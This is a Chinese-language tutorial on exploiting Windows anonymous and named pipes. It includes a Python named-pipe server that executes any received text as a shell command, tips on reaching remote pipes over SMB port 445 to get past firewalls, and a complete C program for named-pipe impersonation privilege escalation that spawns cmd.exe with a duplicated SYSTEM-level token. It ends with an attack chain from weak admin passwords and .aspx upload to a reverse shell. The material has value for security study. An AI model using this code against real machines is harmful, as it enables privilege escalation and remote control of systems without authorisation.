Windows管道(Pipe)利用技术详解

一、管道基础概念

1. 管道类型

Windows操作系统提供了两种主要的管道机制：

匿名管道(Anonymous Pipe)

• 特点：

  • 单向通信：数据只能单向流动（从一个进程的输出流到另一个进程的输入流）
  • 进程关系：通常用于父子进程之间的通信
  • 使用限制：只能在同一台计算机上使用，不能用于网络通信

• 典型用例：

  • 父进程创建匿名管道并将其句柄传递给子进程
  • 从子进程中捕获输出（如命令行工具输出）

• C/C++创建示例：

HANDLE hReadPipe, hWritePipe;
SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
if (CreatePipe(&hReadPipe, &hWritePipe, &sa, 0)) {
    // 使用管道进行数据通信
}

命名管道(Named Pipe)

• 特点：

  • 双向通信：支持双向或单向通信
  • 进程关系：可以在不同进程间通信，甚至可以跨网络通信
  • 命名机制：每个命名管道有唯一名称，客户端可通过名称访问
  • 并发支持：同一个管道可同时被多个客户端连接

• 典型用例：

  • 客户端与服务器之间的通信
  • 网络通信：跨计算机传输数据
  • 实现复杂的进程间通信

• C/C++创建示例：

// 服务端创建命名管道
HANDLE hPipe = CreateNamedPipe(
    TEXT("\\\\.\\pipe\\MyPipe"),  // 管道名
    PIPE_ACCESS_DUPLEX,          // 双向读写
    PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,  // 消息模式
    PIPE_UNLIMITED_INSTANCES,    // 最大实例数
    512, 512,                    // 输出和输入缓冲区大小
    0,                           // 默认超时时间
    NULL                         // 安全属性
);

// 客户端连接命名管道
HANDLE hPipe = CreateFile(
    TEXT("\\\\.\\pipe\\MyPipe"),  // 管道名
    GENERIC_READ | GENERIC_WRITE, // 读写权限
    0,                            // 不共享
    NULL,                         // 默认安全属性
    OPEN_EXISTING,                // 打开现有管道
    0,                            // 默认属性
    NULL                          // 无模板文件
);

二、Python实现命名管道通信

1. 服务端实现

import subprocess
import win32pipe
import win32file

PIPE_NAME = r"\\.\pipe\MyPipe"

def command_execute(command):
    """执行命令并返回输出"""
    try:
        result = subprocess.run(command, shell=True, capture_output=True, text=True)
        return result.stdout + result.stderr
    except Exception as e:
        return f"Error executing command: {str(e)}"

def start_pipe_server():
    print(f"Starting server at pipe: {PIPE_NAME}")
    # 创建命名管道
    pipe = win32pipe.CreateNamedPipe(
        PIPE_NAME,
        win32pipe.PIPE_ACCESS_DUPLEX,  # 双向通信
        win32pipe.PIPE_TYPE_MESSAGE | win32pipe.PIPE_WAIT,
        1,                            # 最大连接数
        65536,                        # 输出缓冲区大小
        65536,                        # 输入缓冲区大小
        0,
        None
    )
    
    print("Waiting for client connection...")
    # 等待客户端连接
    win32pipe.ConnectNamedPipe(pipe, None)
    print("Client connected!")

    while True:
        try:
            print("Waiting for a message...")
            # 读取客户端发送的数据
            result, message = win32file.ReadFile(pipe, 4096)
            print(f"Received message: {message.decode('utf-8')}")
            
            if message.decode('utf-8').strip().lower() == "exit":
                print("Exit command received. Closing server.")
                break
            
            # 回复客户端
            output = command_execute(message.decode('utf-8').strip())
            win32file.WriteFile(pipe, output.encode('utf-8'))  # 返回结果
            
        except Exception as e:
            return f"Client auto close: {str(e)}"
    
    # 关闭管道
    win32file.CloseHandle(pipe)
    print("Pipe closed.")

if __name__ == "__main__":
    start_pipe_server()

2. 客户端实现

import win32file
import win32pipe

PIPE_NAME = r"\\.\pipe\MyPipe"

def connect_to_pipe():
    print(f"Connecting to pipe: {PIPE_NAME}")
    # 连接到命名管道
    handle = win32file.CreateFile(
        PIPE_NAME,
        win32file.GENERIC_READ | win32file.GENERIC_WRITE,
        0,
        None,
        win32file.OPEN_EXISTING,
        0,
        None
    )
    print("Connected to server.")
    return handle

def send_message(pipe_handle, message):
    print(f"Sending message: {message}")
    win32file.WriteFile(pipe_handle, message.encode('utf-8'))
    
    # 读取服务端的回复
    result, response = win32file.ReadFile(pipe_handle, 4096)
    print(f"Server response: {response.decode('utf-8')}")

if __name__ == "__main__":
    pipe = connect_to_pipe()
    # 发送测试消息
    send_message(pipe, "calc")
    send_message(pipe, "exit")  # 发送退出命令
    
    # 关闭管道
    win32file.CloseHandle(pipe)
    print("Client disconnected.")

三、远程命名管道利用

1. 网络通信基础

• 远程命名管道使用SMB协议(Server Message Block)
• 默认端口：
  • TCP 445：现代SMB协议的默认端口
  • TCP 139：较旧的SMB协议版本可能使用
• 防火墙绕过：445端口通常默认放行，可用于绕过防火墙限制

2. 准备工作

1. 确保SMB服务已在两台主机上启用（文件和打印机共享）
2. 确保防火墙允许访问TCP 445端口
3. 确保两台主机间建立了网络连接
4. 远程主机上存在适当的访问权限
5. 可配置命名管道的安全描述符(Security Descriptor)增强安全性
6. 必须将IPC$进行net use绑定才能使用远程管道

四、提权技术：命名管道冒充

1. MSF的getsystem基本原理

• 命名管道：Windows系统进程间通信方式，支持跨网络通信
• 冒充客户端：当高权限客户端(如SYSTEM)连接到攻击者创建的命名管道时，攻击者通过ImpersonateNamedPipeClient冒充该客户端的安全上下文，获得相同权限

2. 攻击流程

1. 创建命名管道：使用CreateNamedPipe函数
2. 等待客户端连接：使用ConnectNamedPipe等待高权限进程连接
3. 调用冒充函数：使用ImpersonateNamedPipeClient切换当前线程安全上下文
4. 提权操作：利用获得的高权限执行操作（创建进程、修改文件等）

3. C语言实现示例

#include<stdio.h>
#include<windows.h>

int main() {
    HANDLE hPipe = NULL;
    HANDLE tokenHandle = NULL;
    HANDLE newtokenHandle = NULL;
    STARTUPINFO startupInfo;
    startupInfo.cb = sizeof(STARTUPINFO);
    PROCESS_INFORMATION processInformation;
    wchar_t recv_buf[1024] = { 0 };
    
    ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
    ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
    
    hPipe = CreateNamedPipe(
        L"\\\\.\\pipe\\myServerPipe",
        PIPE_ACCESS_DUPLEX,
        PIPE_READMODE_BYTE | PIPE_WAIT,
        PIPE_UNLIMITED_INSTANCES,
        1024,
        1024,
        0,
        NULL
    );
    
    if (hPipe == INVALID_HANDLE_VALUE) {
        printf("CreatePipe Failed");
        CloseHandle(hPipe);
    }
    printf("[+] CreateNamedPipe Successfully\n");
    
    // 服务端在这里会进行堵塞,等待客户端进行连接
    if (ConnectNamedPipe(hPipe, NULL)) {
        printf("[+] ConnectNamedPipe Successfully\n");
        
        // 用于使调用线程模仿通过命名管道连接的客户端的安全上下文
        if (ImpersonateNamedPipeClient(hPipe) == 0) {
            printf("[!] Error impersonating client %d\n", GetLastError());
            CloseHandle(hPipe);
            return -1;
        }
        printf("[+] ImpersonateNamedPipeClient Successfully\n");
        
        // 用于打开与当前线程相关联的访问令牌
        if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &tokenHandle)) {
            printf("[!] Error opening thread token %d\n", GetLastError());
            CloseHandle(hPipe);
            return -1;
        }
        printf("[+] OpenThreadToken Successfully\n");
        
        // 复制现有的访问令牌,并允许对新令牌进行一定的定制化处理
        if (!DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &newtokenHandle)) {
            printf("[!] Error duplicating thread token %d\n", GetLastError());
            CloseHandle(hPipe);
            return -1;
        }
        printf("[+] DuplicateTokenEx Successfully\n");
        
        wchar_t cmdPath[MAX_PATH] = L"c:\\windows\\system32\\cmd.exe";
        
        // 这个函数允许在具有特定身份验证的情况下启动一个新进程
        if (!CreateProcessWithTokenW(newtokenHandle, LOGON_NETCREDENTIALS_ONLY, NULL, cmdPath, NULL, NULL, NULL, (LPSTARTUPINFOW)&startupInfo, &processInformation)) {
            printf("[!] CreateProcessWithTokenW Failed (%d).\n", GetLastError());
            CloseHandle(hPipe);
            return -1;
        }
        printf("[+] CreateProcessWithTokenW Successfully\n");
        
        CloseHandle(hPipe);
    }
    return 0;
}

4. 实际利用场景示例

1. 面对具有Windows集成身份验证的dotnet Web应用程序
2. 使用弱本地密码访问Admin后端
3. 在管理面板中指定记录用户活动的日志文件
4. 从管理面板获取RCE（如上传.aspx文件）
5. Web服务器在标准IIS AppPool用户下运行（默认具有SeImpersonate权限）

权限提升步骤：

1. 为Logfile指定命名管道（\.\pipe\logfile）
2. 获取IIS AppPoolUser的shell，创建命名管道并等待连接
3. 模拟写入Logfile的经过身份验证的用户
4. 如果是高权限用户，使用其令牌启动反向shell